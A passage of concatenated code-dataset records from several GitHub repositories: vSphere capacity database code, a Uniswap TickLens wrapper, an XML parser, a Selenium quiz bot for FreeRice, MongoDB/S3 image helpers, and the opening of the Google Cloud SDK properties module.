table_name LIKE 'capacity_%' ;\"\n self.cursor.execute(sql_qry_tables)\n tables_dbo = self.cursor.fetchall()\n\n decom_dbo_map = {}\n for index in tables_dbo:\n table = index[0]\n if not decom_dbo_map.get(table or None):\n decom_dbo_map.update({table: []})\n\n sql_qry = \"SELECT * FROM {} WHERE {}.date_modified < NOW() - INTERVAL '{} days' ;\".format(table,\n table,\n days_missing_before_decomm)\n dbo = None\n try:\n self.cursor.execute(sql_qry)\n dbo = self.cursor.fetchall()\n except psycopg2.errors.UndefinedColumn as e:\n self.connection.rollback()\n pass\n except BaseException:\n self.connection.rollback()\n raise\n\n if dbo:\n decom_dbo_map[table] = dbo\n\n for table in list(decom_dbo_map.keys()):\n for dbo in decom_dbo_map[table]:\n obj = {'id': dbo[00],\n 'decommission': True,\n 'decommission_date': decom_point\n }\n self.decommission_dbo(obj=obj,\n model=table,\n where_param='id')\n fkey_map = self.map_foreign_keys(table)\n if fkey_map:\n for f_obj in fkey_map[table]:\n self.remove_decommissioned_relationships(model=f_obj.table,\n foreign_key={f_obj.key: dbo[00]},\n where_param=f_obj.key)\n\n def map_foreign_keys(self, model):\n sql_qry = \"\"\"SELECT\n tc.table_name,\n kcu.column_name,\n ccu.table_name AS foreign_table_name\n FROM\n information_schema.table_constraints AS tc\n JOIN information_schema.key_column_usage AS kcu\n ON tc.constraint_name = kcu.constraint_name\n AND tc.table_schema = kcu.table_schema\n JOIN information_schema.constraint_column_usage AS ccu\n ON ccu.constraint_name = tc.constraint_name\n AND ccu.table_schema = tc.table_schema\n WHERE tc.constraint_type = 'FOREIGN KEY' and ccu.table_name=%s;\"\"\"\n self.cursor.execute(sql_qry, (model,))\n dbo = self.cursor.fetchall()\n\n if dbo:\n foreign_map = {}\n for i in dbo:\n table = i[0]\n column = i[1]\n f_table = i[2]\n\n if not foreign_map.get(f_table or None):\n foreign_map.update({f_table: []})\n foreign_map[f_table].append(ForeignKey(table, f_table, column))\n\n return foreign_map\n return None\n\n def remove_decommissioned_relationships(self, model, foreign_key, where_param):\n dbo = self.get_dbo(model=model,\n obj=foreign_key,\n where_param=where_param)\n if dbo:\n sql_qry = \"\"\"DELETE FROM {} WHERE {}.{}=%s ;\"\"\".format(model,\n model,\n where_param)\n self.cursor.execute(sql_qry, (foreign_key[where_param],))\n self.connection.commit()\n\n def remove_dbo(self, model, obj, where_param):\n dbo = self.get_dbo(model=model,\n obj=obj,\n where_param=where_param)\n if dbo:\n sql_qry = \"\"\"DELETE FROM {} WHERE {}.{}=%s ;\"\"\".format(model,\n model,\n where_param)\n self.cursor.execute(sql_qry, (obj[where_param],))\n self.connection.commit()\n\n\n@addClassLogger\nclass ForeignKey:\n\n def __init__(self, table, foreign_table, key):\n self.table = table\n self.foreign_table = foreign_table\n self.key = key\n", "repo_name": "ToxicSamN/vsphere-capacity", "sub_path": "vspherecapacity/capacity/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 10780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "csv.DictWriter", "line_number": 17, "usage_type": "call"}, {"api_name": "log.setup.addClassLogger", "line_number": 11, "usage_type": "name"}, {"api_name": "log.setup.addClassLogger", "line_number": 33, "usage_type": "name"}, {"api_name": "vspherecapacity.credentials.credstore.Credential", "line_number": 47, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 97, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 97, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 114, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 114, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 152, "usage_type": "name"}, {"api_name": "psycopg2.errors", "line_number": 170, "usage_type": "attribute"}, {"api_name": "log.setup.addClassLogger", "line_number": 41, "usage_type": "name"}, {"api_name": "log.setup.addClassLogger", "line_number": 250, "usage_type": "name"}]} {"seq_id": "7864916445", "text": "from abc import ABC\nfrom typing import Optional\n\nfrom brownie import Contract # type: ignore\nfrom web3 import Web3\n\nfrom .abi import UNISWAP_V3_TICKLENS_ABI\n\n_MAINNET_ADDRESS = \"0xbfd8137f7d1516D3ea5cA83523914859ec47F573\"\n\n\nclass TickLens(ABC):\n def __init__(\n self,\n address: Optional[str] = None,\n abi: Optional[list] = None,\n ):\n if address is None:\n address = _MAINNET_ADDRESS\n\n self.address: str = Web3.toChecksumAddress(address)\n\n if abi is None:\n abi = UNISWAP_V3_TICKLENS_ABI\n\n self._brownie_contract = Contract.from_abi(\n name=\"TickLens\",\n address=address,\n abi=abi,\n )\n", "repo_name": "crypto-caesar/MEV", "sub_path": "uniswap/v3/tick_lens.py", "file_name": "tick_lens.py", "file_ext": "py", "file_size_in_byte": 697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "abc.ABC", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 16, "usage_type": "name"}, {"api_name": "web3.Web3.toChecksumAddress", "line_number": 21, "usage_type": "call"}, {"api_name": "web3.Web3", "line_number": 21, "usage_type": "name"}, {"api_name": "abi.UNISWAP_V3_TICKLENS_ABI", "line_number": 24, "usage_type": "name"}, {"api_name": "brownie.Contract.from_abi", "line_number": 26, "usage_type": "call"}, {"api_name": "brownie.Contract", "line_number": 26, "usage_type": "name"}]} {"seq_id": "29072792992", "text": "import os\nfrom xml.etree import ElementTree\n\nfile = 'box2.xml'\nfile_path = os.path.abspath(os.path.join('data', file))\ndom = ElementTree.parse(file_path)\n\ndetails = dom.findall('issue')\nCONFIG_PROPERTIES = {}\nc = 0\nfor d in details:\n c = c+1\n name = d.find('name').text\n severity = d.find('severity').text\n confidence = d.find('confidence').text\n host = d.find('host').text\n request = d.find('path').text\n CONFIG_PROPERTIES = c, name, severity, confidence, host+request\n print(' {}, {}, {}, {}, {} '.format(\n c, name, severity, confidence, host+request\n ))\n\n\n", "repo_name": "saurabh9495/Django_project", "sub_path": "xmlparser/templates/xmlparser/parser2.py", "file_name": "parser2.py", "file_ext": "py", "file_size_in_byte": 595, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.abspath", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 6, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 6, "usage_type": "name"}]} {"seq_id": "25312078843", "text": "from selenium import webdriver\nimport time\nimport random\nimport math\n\n\ndef get_rice():\n with open('RiceCount', \"r\") as handle:\n rice = handle.read().strip()\n return rice\n\n\ndef update_rice(count=10):\n rice = int(get_rice())\n with open('RiceCount', 'w') as handle:\n handle.write(str(rice + count))\n\n\ndef runs():\n runtime = int(input(\"How long should the program run in mins? \"))\n return runtime\n\n\ndef get_answers(driver, question):\n ans = []\n for i in range(2, 6): # Gather all 4 answers\n elemen = driver.find_element_by_xpath(\n '/html/body/div/section/div/div[1]'\n '/div/div/div[4]/div[1]/div/div/div'\n '/div/div/div[' + str(i) + ']')\n ans.append(elemen)\n num1 = is_int(question[0])\n num2 = is_int(question[1])\n return num1, num2, ans\n\n\ndef is_int(num, error=False):\n try:\n num = int(num)\n except ValueError:\n if error:\n num = math.floor(num)\n else:\n num = -1\n print(\"No Integer was found in the question.\")\n return num\n\n\ndef error_percent():\n error_p = [True, True, True, True, True,\n False, True, False, True, True,\n True, True, True, True, True]\n choice = random.randrange(0, len(error_p) - 1) # Introduce random error, at 13/15 % chance of correct\n return error_p[is_int(choice, True)]\n\n\ndef answer_question(ele, drive):\n text = ele.text\n question = text.split(' x ')\n num1, num2, ans = get_answers(drive, question)\n if num1 != -1 and num2 != -1:\n calc_ans = str(num1 * num2)\n for answer in ans:\n if answer.text == calc_ans:\n if error_percent():\n answer.click()\n update_rice()\n break\n else:\n if ans[2].text == calc_ans:\n update_rice()\n ans[2].click()\n print(\"Error Percent\")\n time.sleep(2)\n\n\ndef loop(driver):\n run_num = runs()\n while run_num > 0:\n time.sleep(random.randrange(4, 8)) # Simulates time to read question\n element = driver.find_element_by_class_name(\"card-title\")\n answer_question(element, driver)\n run_num -= 1\n\n\ndef main(url, path):\n driver = webdriver.Firefox(executable_path=path) # Run Selenium\n driver.get(url)\n loop(driver)\n driver.quit()\n\n\nif __name__ == '__main__':\n url1 = 'https://freerice.com/categories/multiplication-table'\n path1 = r'C:\\Users\\owner\\Downloads\\geckodriver.exe'\n main(url1, path1)\n\n", "repo_name": "shravankandlakunta/FreeRice", "sub_path": "Driver.py", "file_name": "Driver.py", "file_ext": "py", "file_size_in_byte": 2595, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "math.floor", "line_number": 42, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 53, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 74, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 80, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 80, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 87, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 87, "usage_type": "name"}]} {"seq_id": "72816553211", "text": "from datetime import datetime\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\nimport shutil\nimport os\n\nfrom ..models.image import Image, ImageInUpdate, ImageInCreate\nfrom ..core.config import database_name, image_collection_name, bucket, location\n\ndef s3_upload(image):\n with open(image.filename, \"wb\") as buffer:\n shutil.copyfileobj(image.file, buffer) # save on server \n\n with open(image.filename, \"rb\") as data:\n bucket.upload_fileobj(data, f\"Image/{image.filename}\") #upload to S3\n os.remove(image.filename) \n\n return f\"../Image/{image.filename}\"\n # return \"https://s3-%s.amazonaws.com/%s/%s\" % (location, 'final-web-usth/Image', image.filename)\n\ndef get_images(conn: MongoClient, options: str = None):\n if options:\n query = {\"category\": options}\n data = conn[database_name][image_collection_name].find(query, {\"_id\": 0})\n else:\n data = conn[database_name][image_collection_name].find({}, {\"_id\": 0})\n\n return list(data)\n\ndef get_one_image(conn: MongoClient, imageId: str):\n data = conn[database_name][image_collection_name].find({\"id\": imageId}, {\"_id\": 0})\n return list(data)\n\ndef create_image(conn: MongoClient, data):\n conn[database_name][image_collection_name].insert_one(data)\n\ndef delete_image(conn: MongoClient, imageId: str):\n conn[database_name][image_collection_name].delete_one({\"id\": imageId})\n return imageId\n\ndef update_image(conn: MongoClient, info: ImageInUpdate, imageId: str):\n dbimage = get_one_image(conn, imageId)\n\n dbimage[0][\"patient\"] = info.password or dbimage[0][\"patient\"]\n dbimage[0][\"takenBy\"] = info.firstName or dbimage[0][\"takenBy\"]\n dbimage[0][\"date\"] = info.lastName or dbimage[0][\"date\"]\n dbimage[0][\"category\"] = info.gender or dbimage[0][\"category\"]\n\n update = conn[database_name][image_collection_name].update_one({\"id\": imageId}, {\"$set\": dbimage[0]})\n return update\n", "repo_name": "chpiano2000/CTScan", "sub_path": "app/crud/image.py", "file_name": "image.py", "file_ext": "py", "file_size_in_byte": 1931, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "shutil.copyfileobj", "line_number": 12, "usage_type": "call"}, {"api_name": "core.config.bucket.upload_fileobj", "line_number": 15, "usage_type": "call"}, {"api_name": "core.config.bucket", "line_number": 15, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 16, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 21, "usage_type": "name"}, {"api_name": "core.config.database_name", "line_number": 24, "usage_type": "name"}, {"api_name": "core.config.image_collection_name", "line_number": 24, "usage_type": "name"}, {"api_name": "core.config.database_name", "line_number": 26, "usage_type": "name"}, {"api_name": "core.config.image_collection_name", "line_number": 26, "usage_type": "name"}, {"api_name": "pymongo.MongoClient", "line_number": 30, "usage_type": "name"}, {"api_name": "core.config.database_name", "line_number": 31, "usage_type": "name"}, {"api_name": "core.config.image_collection_name", "line_number": 31, "usage_type": "name"}, {"api_name": "pymongo.MongoClient", "line_number": 34, "usage_type": "name"}, {"api_name": "core.config.database_name", "line_number": 35, "usage_type": "name"}, {"api_name": "core.config.image_collection_name", "line_number": 35, "usage_type": "name"}, {"api_name": "pymongo.MongoClient", "line_number": 37, "usage_type": "name"}, {"api_name": "core.config.database_name", "line_number": 38, "usage_type": "name"}, {"api_name": "core.config.image_collection_name", "line_number": 38, "usage_type": "name"}, {"api_name": "pymongo.MongoClient", "line_number": 41, "usage_type": "name"}, {"api_name": "models.image.ImageInUpdate", "line_number": 41, "usage_type": "name"}, {"api_name": "core.config.database_name", "line_number": 49, "usage_type": "name"}, {"api_name": "core.config.image_collection_name", "line_number": 49, "usage_type": "name"}]} {"seq_id": "27771822759", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport enum\nimport functools\nimport os\nimport re\nimport sys\nimport textwrap\n\nfrom googlecloudsdk.core import argv_utils\nfrom googlecloudsdk.core import config\nfrom googlecloudsdk.core import exceptions\nfrom googlecloudsdk.core.configurations import named_configs\nfrom googlecloudsdk.core.configurations import properties_file as prop_files_lib\nfrom googlecloudsdk.core.docker import constants as const_lib\nfrom googlecloudsdk.core.feature_flags import config as feature_flags_config\nfrom googlecloudsdk.core.resource import resource_printer_types as formats\nfrom googlecloudsdk.core.util import encoding\nfrom googlecloudsdk.core.util import http_proxy_types\nfrom googlecloudsdk.core.util import scaled_integer\nfrom googlecloudsdk.core.util import times\nfrom googlecloudsdk.generated_clients.apis import apis_map\nimport six\n\n# Try to parse the command line flags at import time to see if someone provided\n# the --configuration flag. If they did, this could affect the value of the\n# properties defined in that configuration. Since some libraries (like logging)\n# use properties at startup, we want to use the correct configuration for that.\nnamed_configs.FLAG_OVERRIDE_STACK.PushFromArgs(argv_utils.GetDecodedArgv())\n\n_SET_PROJECT_HELP = \"\"\"\\\nTo set your project, run:\n\n $ gcloud config set project PROJECT_ID\n\nor to unset it, run:\n\n $ gcloud config unset project\"\"\"\n\n_VALID_PROJECT_REGEX = re.compile(\n r'^'\n # An optional domain-like component, ending with a colon, e.g.,\n # google.com:\n r'(?:(?:[-a-z0-9]{1,63}\\.)*(?:[a-z](?:[-a-z0-9]{0,61}[a-z0-9])?):)?'\n # Followed by a required identifier-like component, for example:\n # waffle-house match\n # -foozle no match\n # Foozle no match\n # We specifically disallow project number, even though some GCP backends\n # could accept them.\n # We also allow a leading digit as some legacy project ids can have\n # a leading digit.\n r'(?:(?:[a-z0-9](?:[-a-z0-9]{0,61}[a-z0-9])?))'\n r'$')\n\n_VALID_ENDPOINT_OVERRIDE_REGEX = re.compile(\n r'^'\n # require http or https for scheme\n r'(?:https?)://'\n # netlocation portion of address. can be any of\n # - domain name\n # - 'localhost'\n # - ipv4 addr\n # - ipv6 addr\n r'(?:' # begin netlocation\n # - domain name, e.g. 'test-foo.sandbox.googleapis.com', or 'localhost'\n r'(?:[A-Z0-9](?:[A-Z0-9-.])+)|'\n # - ipv4\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|'\n # - ipv6\n r'\\[?[A-F0-9]*:[A-F0-9:]+\\]?'\n r')' # end netlocation\n # optional port\n r'(?::\\d+)?'\n # require trailing slash, fragment optional\n r'(?:/|[/?]\\S+/)'\n r'$',\n re.IGNORECASE)\n\n_PUBSUB_NOTICE_URL = (\n 'https://cloud.google.com/functions/docs/writing/background#event_parameter'\n)\n\n\ndef Stringize(value):\n if isinstance(value, six.string_types):\n return value\n return str(value)\n\n\ndef ExistingAbsoluteFilepathValidator(file_path):\n \"\"\"Checks to see if the file path exists and is an absolute path.\"\"\"\n if file_path is None:\n return\n if not os.path.isfile(file_path):\n raise InvalidValueError('The provided path must exist.')\n if not os.path.isabs(file_path):\n raise InvalidValueError('The provided path must be absolute.')\n\n\ndef _LooksLikeAProjectName(project):\n \"\"\"Heuristics testing if a string looks like a project name, but an id.\"\"\"\n\n if re.match(r'[-0-9A-Z]', project[0]):\n return True\n\n return any(c in project for c in ' !\"\\'')\n\n\ndef _BooleanValidator(property_name, property_value):\n \"\"\"Validates boolean properties.\n\n Args:\n property_name: str, the name of the property\n property_value: PropertyValue | str | bool, the value to validate\n\n Raises:\n InvalidValueError: if value is not boolean\n \"\"\"\n accepted_strings = [\n 'true', '1', 'on', 'yes', 'y', 'false', '0', 'off', 'no', 'n', '', 'none'\n ]\n if isinstance(property_value, PropertyValue):\n value = property_value.value\n else:\n value = property_value\n if Stringize(value).lower() not in accepted_strings:\n raise InvalidValueError(\n 'The [{0}] value [{1}] is not valid. Possible values: [{2}]. '\n '(See http://yaml.org/type/bool.html)'.format(\n property_name, value,\n ', '.join([x if x else \"''\" for x in accepted_strings])))\n\n\ndef _BuildTimeoutValidator(timeout):\n \"\"\"Validates build timeouts.\"\"\"\n if timeout is None:\n return\n seconds = times.ParseDuration(timeout, default_suffix='s').total_seconds\n if seconds <= 0:\n raise InvalidValueError('Timeout must be a positive time duration.')\n\n\ndef _HumanReadableByteAmountValidator(size_string):\n \"\"\"Validates human readable byte amounts, e.g. 1KiB.\"\"\"\n if size_string is None:\n return\n try:\n scaled_integer.ParseInteger(size_string)\n except ValueError as e:\n raise InvalidValueError(str(e))\n\n\nclass Error(exceptions.Error):\n \"\"\"Exceptions for the properties module.\"\"\"\n\n\nclass PropertiesParseError(Error):\n \"\"\"An exception to be raised when a properties file is invalid.\"\"\"\n\n\nclass NoSuchPropertyError(Error):\n \"\"\"An exception to be raised when the desired property does not exist.\"\"\"\n\n\nclass MissingInstallationConfig(Error):\n \"\"\"An exception to be raised when the sdk root does not exist.\"\"\"\n\n def __init__(self):\n super(MissingInstallationConfig, self).__init__(\n 'Installation properties could not be set because the installation '\n 'root of the Cloud SDK could not be found.')\n\n\nclass InvalidScopeValueError(Error):\n \"\"\"Exception for when a string could not be parsed to a valid scope value.\"\"\"\n\n def __init__(self, given):\n \"\"\"Constructs a new exception.\n\n Args:\n given: str, The given string that could not be parsed.\n \"\"\"\n super(InvalidScopeValueError, self).__init__(\n 'Could not parse [{0}] into a valid configuration scope. '\n 'Valid values are [{1}]'.format(given,\n ', '.join(Scope.AllScopeNames())))\n\n\nclass InvalidValueError(Error):\n \"\"\"An exception to be raised when the set value of a property is invalid.\"\"\"\n\n\nclass InvalidProjectError(Error):\n \"\"\"An exception for bad project names, with a little user help.\"\"\"\n\n def __init__(self, given):\n super(InvalidProjectError, self).__init__(given + '\\n' + _SET_PROJECT_HELP)\n\n\nclass RequiredPropertyError(Error):\n \"\"\"Generic exception for when a required property was not set.\"\"\"\n FLAG_STRING = ('It can be set on a per-command basis by re-running your '\n 'command with the [{flag}] flag.\\n\\n')\n\n def __init__(self, prop, flag=None, extra_msg=None):\n if prop.section != VALUES.default_section.name:\n section = prop.section + '/'\n else:\n section = ''\n\n flag = flag or prop.default_flag\n if flag:\n flag_msg = RequiredPropertyError.FLAG_STRING.format(flag=flag)\n else:\n flag_msg = ''\n\n msg = (\"\"\"\\\nThe required property [{property_name}] is not currently set.\n{flag_msg}You may set it for your current workspace by running:\n\n $ gcloud config set {section}{property_name} VALUE\n\nor it can be set temporarily by the environment variable [{env_var}]\"\"\".format(\n property_name=prop.name,\n flag_msg=flag_msg,\n section=section,\n env_var=prop.EnvironmentName()))\n if extra_msg:\n msg += '\\n\\n' + extra_msg\n super(RequiredPropertyError, self).__init__(msg)\n self.property = prop\n\n\nclass UnknownFormatError(exceptions.Error):\n \"\"\"Unknown format name exception.\"\"\"\n\n def __init__(self, printer_name, supported_formats):\n \"\"\"Constructs a new exception.\n\n Args:\n printer_name: str, The unknown printer format.\n supported_formats: [str], Supported printer formats.\n \"\"\"\n super(UnknownFormatError, self).__init__(\"\"\"\\\nFormat must be one of {0}; received [{1}].\n\nFor information on output formats:\n $ gcloud topic formats\n\"\"\".format(', '.join(supported_formats), printer_name))\n\n\nclass PropertyValue(object):\n \"\"\"Represents a value and source for a property.\n\n Attributes:\n value: any, the value of the property.\n source: enum, where the value was sourced from, or UNKNOWN.\n \"\"\"\n\n class PropertySource(enum.Enum):\n UNKNOWN = 'unknown'\n PROPERTY_FILE = 'property file'\n ENVIRONMENT = 'environment'\n FLAG = 'flag'\n CALLBACK = 'callback'\n DEFAULT = 'default'\n FEATURE_FLAG = 'feature flag'\n\n def __init__(self, value, source=PropertySource.UNKNOWN):\n self.value = value\n self.source = source\n\n def __str__(self):\n return '{0} ({1})'.format(six.text_type(self.value), self.source.value)\n\n\nclass _Sections(object):\n \"\"\"Represents the available sections in the properties file.\n\n Attributes:\n access_context_manager: Section, The section containing access context\n manager properties for the Cloud SDK.\n accessibility: Section, The section containing accessibility properties for\n the Cloud SDK.\n ai: Section, The section containing ai properties for the Cloud SDK.\n ai_platform: Section, The section containing ai platform properties for the\n Cloud SDK.\n api_client_overrides: Section, The section containing API client override\n properties for the Cloud SDK.\n api_endpoint_overrides: Section, The section containing API endpoint\n override properties for the Cloud SDK.\n app: Section, The section containing app properties for the Cloud SDK.\n auth: Section, The section containing auth properties for the Cloud SDK.\n batch: Section, The section containing batch properties for the\n Cloud SDK.\n billing: Section, The section containing billing properties for the Cloud\n SDK.\n blueprints: Section, the section containing blueprints properties for the\n Cloud SDK.\n builds: Section, The section containing builds properties for the Cloud SDK.\n artifacts: Section, The section containing artifacts properties for the\n Cloud SDK.\n code: Section, The section containing local development properties for Cloud\n SDK.\n component_manager: Section, The section containing properties for the\n component_manager.\n composer: Section, The section containing composer properties for the Cloud\n SDK.\n compute: Section, The section containing compute properties for the Cloud\n SDK.\n container: Section, The section containing container properties for the\n Cloud SDK.\n container_attached: Section, The section containing properties for Attached\n clusters.\n container_aws: Section, The section containing properties for Anthos\n clusters on AWS.\n container_azure: Section, The section containing properties for Anthos\n clusters on Azure.\n container_bare_metal: Section, The section containing properties for Anthos\n clusters on Bare Metal.\n container_vmware: Section, The section containing properties for Anthos\n clusters on VMware.\n context_aware: Section, The section containing context aware access\n configurations for the Cloud SDK.\n core: Section, The section containing core properties for the Cloud SDK.\n ssh: Section, The section containing ssh-related properties.\n scc: Section, The section containing scc properties for the Cloud SDK.\n deploy: Secion, The secion containing cloud deploy related properties for\n the Cloud SDK.\n dataproc: Section, The section containing dataproc properties for the Cloud\n SDK.\n dataflow: Section, The section containing dataflow properties for the Cloud\n SDK.\n datafusion: Section, The section containing datafusion properties for the\n Cloud SDK.\n datapipelines: Section, The section containing datapipelines properties for\n the cloud SDK.\n dataplex: Section, The section containing dataplex properties for the Cloud\n SDK.\n declarative: Section, The section containing properties for declarative\n workflows in the Cloud SDK.\n default_section: Section, The main section of the properties file (core).\n deployment_manager: Section, The section containing deployment_manager\n properties for the Cloud SDK.\n devshell: Section, The section containing devshell properties for the Cloud\n SDK.\n diagnostics: Section, The section containing diagnostics properties for the\n Cloud SDK.\n edge_container: Section, The section containing edgecontainer properties for\n the Cloud SDK.\n emulator: Section, The section containing emulator properties for the Cloud\n SDK.\n eventarc: Section, The section containing eventarc properties for the Cloud\n SDK.\n experimental: Section, The section containing experimental properties for\n the Cloud SDK.\n filestore: Section, The section containing filestore properties for the\n Cloud SDK.\n functions: Section, The section containing functions properties for the\n Cloud SDK.\n game_services: Section, The section containing gameservices properties for\n the Cloud SDK.\n gcloudignore: Section, The section containing gcloudignore properties for\n the Cloud SDK.\n gkebackup: Section, The section containing gkebackup properties for the\n Cloud SDK.\n gkehub: Section, The section containing gkehub properties for the Cloud SDK.\n healthcare: Section, The section containing healthcare properties for the\n Cloud SDK.\n interactive: Section, The section containing interactive properties for the\n Cloud SDK.\n kuberun: Section, The section containing kuberun properties for the Cloud\n SDK.\n lifesciences: Section, The section containing lifesciencs properties for the\n Cloud SDK.\n looker: Section, The section containing looker properties for the Cloud SDK.\n media_asset: Section, the section containing mediaasset protperties for the\n Cloud SDK.\n memcache: Section, The section containing memcache properties for the Cloud\n SDK.\n metastore: Section, The section containing metastore properties for the\n Cloud SDK.\n metrics: Section, The section containing metrics properties for the Cloud\n SDK.\n ml_engine: Section, The section containing ml_engine properties for the\n Cloud SDK.\n mps: Section, The section containing mps properties for the Cloud SDK.\n netapp: Section, The section containing netapp properties for the Cloud SDK.\n notebooks: Section, The section containing notebook properties for the Cloud\n SDK.\n privateca: Section, The section containing privateca properties for the\n Cloud SDK.\n proxy: Section, The section containing proxy properties for the Cloud SDK.\n pubsub: Section, The section containing pubsub properties for the Cloud SDK.\n recaptcha: Section, The section containing recaptcha properties for the\n Cloud SDK.\n redis: Section, The section containing redis properties for the Cloud SDK.\n resource_policy: Section, The section containing resource policy\n configurations for the Cloud SDK.\n run: Section, The section containing run properties for the Cloud SDK.\n runapps: Section, The section containing runapps properties for the Cloud\n SDK.\n secrets: Section, The section containing secretmanager properties for the\n Cloud SDK.\n spanner: Section, The section containing spanner properties for the Cloud\n SDK.\n storage: Section, The section containing storage properties for the Cloud\n SDK.\n survey: Section, The section containing survey properties for the Cloud SDK.\n test: Section, The section containing test properties for the Cloud SDK.\n transfer: Section, The section containing transfer properties for the Cloud\n SDK.\n transport: Section, The section containing transport properties for the\n Cloud SDK.\n transcoder: Section, The section containing transcoder properties for the\n Cloud SDK.\n vmware: Section, The section containing vmware properties for the Cloud SDK.\n web3: Section, the section containing web3 properties for the\n Cloud SDK.\n workflows: Section, The section containing workflows properties for the\n Cloud SDK.\n \"\"\"\n\n class _ValueFlag(object):\n\n def __init__(self, value, flag):\n self.value = value\n self.flag = flag\n\n def __init__(self):\n self.access_context_manager = _SectionAccessContextManager()\n self.accessibility = _SectionAccessibility()\n self.ai = _SectionAi()\n self.ai_platform = _SectionAiPlatform()\n self.api_client_overrides = _SectionApiClientOverrides()\n self.api_endpoint_overrides = _SectionApiEndpointOverrides()\n self.app = _SectionApp()\n self.artifacts = _SectionArtifacts()\n self.auth = _SectionAuth()\n self.batch = _SectionBatch()\n self.billing = _SectionBilling()\n self.blueprints = _SectionBlueprints()\n self.builds = _SectionBuilds()\n self.code = _SectionCode()\n self.component_manager = _SectionComponentManager()\n self.composer = _SectionComposer()\n self.compute = _SectionCompute()\n self.container = _SectionContainer()\n self.container_attached = _SectionContainerAttached()\n self.container_aws = _SectionContainerAws()\n self.container_azure = _SectionContainerAzure()\n self.container_vmware = _SectionContainerVmware()\n self.container_bare_metal = _SectionContainerBareMetal()\n self.context_aware = _SectionContextAware()\n self.core = _SectionCore()\n self.ssh = _SectionSsh()\n self.scc = _SectionScc()\n self.deploy = _SectionDeploy()\n self.dataproc = _SectionDataproc()\n self.dataflow = _SectionDataflow()\n self.datafusion = _SectionDatafusion()\n self.datapipelines = _SectionDataPipelines()\n self.dataplex = _SectionDataplex()\n self.declarative = _SectionDeclarative()\n self.deployment_manager = _SectionDeploymentManager()\n self.devshell = _SectionDevshell()\n self.diagnostics = _SectionDiagnostics()\n self.edge_container = _SectionEdgeContainer()\n self.emulator = _SectionEmulator()\n self.eventarc = _SectionEventarc()\n self.experimental = _SectionExperimental()\n self.filestore = _SectionFilestore()\n self.functions = _SectionFunctions()\n self.game_services = _SectionGameServices()\n self.gcloudignore = _SectionGcloudignore()\n self.gkehub = _SectionGkeHub()\n self.gkebackup = _SectionGkebackup()\n self.healthcare = _SectionHealthcare()\n self.interactive = _SectionInteractive()\n self.kuberun = _SectionKubeRun()\n self.lifesciences = _SectionLifeSciences()\n self.looker = _SectionLooker()\n self.media_asset = _SectionMediaAsset()\n self.memcache = _SectionMemcache()\n self.metastore = _SectionMetastore()\n self.metrics = _SectionMetrics()\n self.ml_engine = _SectionMlEngine()\n self.mps = _SectionMps()\n self.netapp = _SectionNetapp()\n self.notebooks = _SectionNotebooks()\n self.privateca = _SectionPrivateCa()\n self.proxy = _SectionProxy()\n self.pubsub = _SectionPubsub()\n self.recaptcha = _SectionRecaptcha()\n self.redis = _SectionRedis()\n self.resource_policy = _SectionResourcePolicy()\n self.run = _SectionRun()\n self.runapps = _SectionRunApps()\n self.secrets = _SectionSecrets()\n self.spanner = _SectionSpanner()\n self.storage = _SectionStorage()\n self.survey = _SectionSurvey()\n self.test = _SectionTest()\n self.transfer = _SectionTransfer()\n self.transport = _SectionTransport()\n self.transcoder = _SectionTranscoder()\n self.vmware = _SectionVmware()\n self.web3 = _SectionWeb3()\n self.workflows = _SectionWorkflows()\n\n sections = [\n self.access_context_manager,\n self.accessibility,\n self.ai,\n self.ai_platform,\n self.api_client_overrides,\n self.api_endpoint_overrides,\n self.app,\n self.auth,\n self.batch,\n self.billing,\n self.blueprints,\n self.builds,\n self.artifacts,\n self.code,\n self.component_manager,\n self.composer,\n self.compute,\n self.container,\n self.container_attached,\n self.container_aws,\n self.container_azure,\n self.container_bare_metal,\n self.container_vmware,\n self.context_aware,\n self.core,\n self.ssh,\n self.scc,\n self.dataproc,\n self.dataflow,\n self.datafusion,\n self.datapipelines,\n self.dataplex,\n self.deploy,\n self.deployment_manager,\n self.devshell,\n self.diagnostics,\n self.edge_container,\n self.emulator,\n self.eventarc,\n self.experimental,\n self.filestore,\n self.functions,\n self.game_services,\n self.gcloudignore,\n self.gkebackup,\n self.healthcare,\n self.interactive,\n self.kuberun,\n self.lifesciences,\n 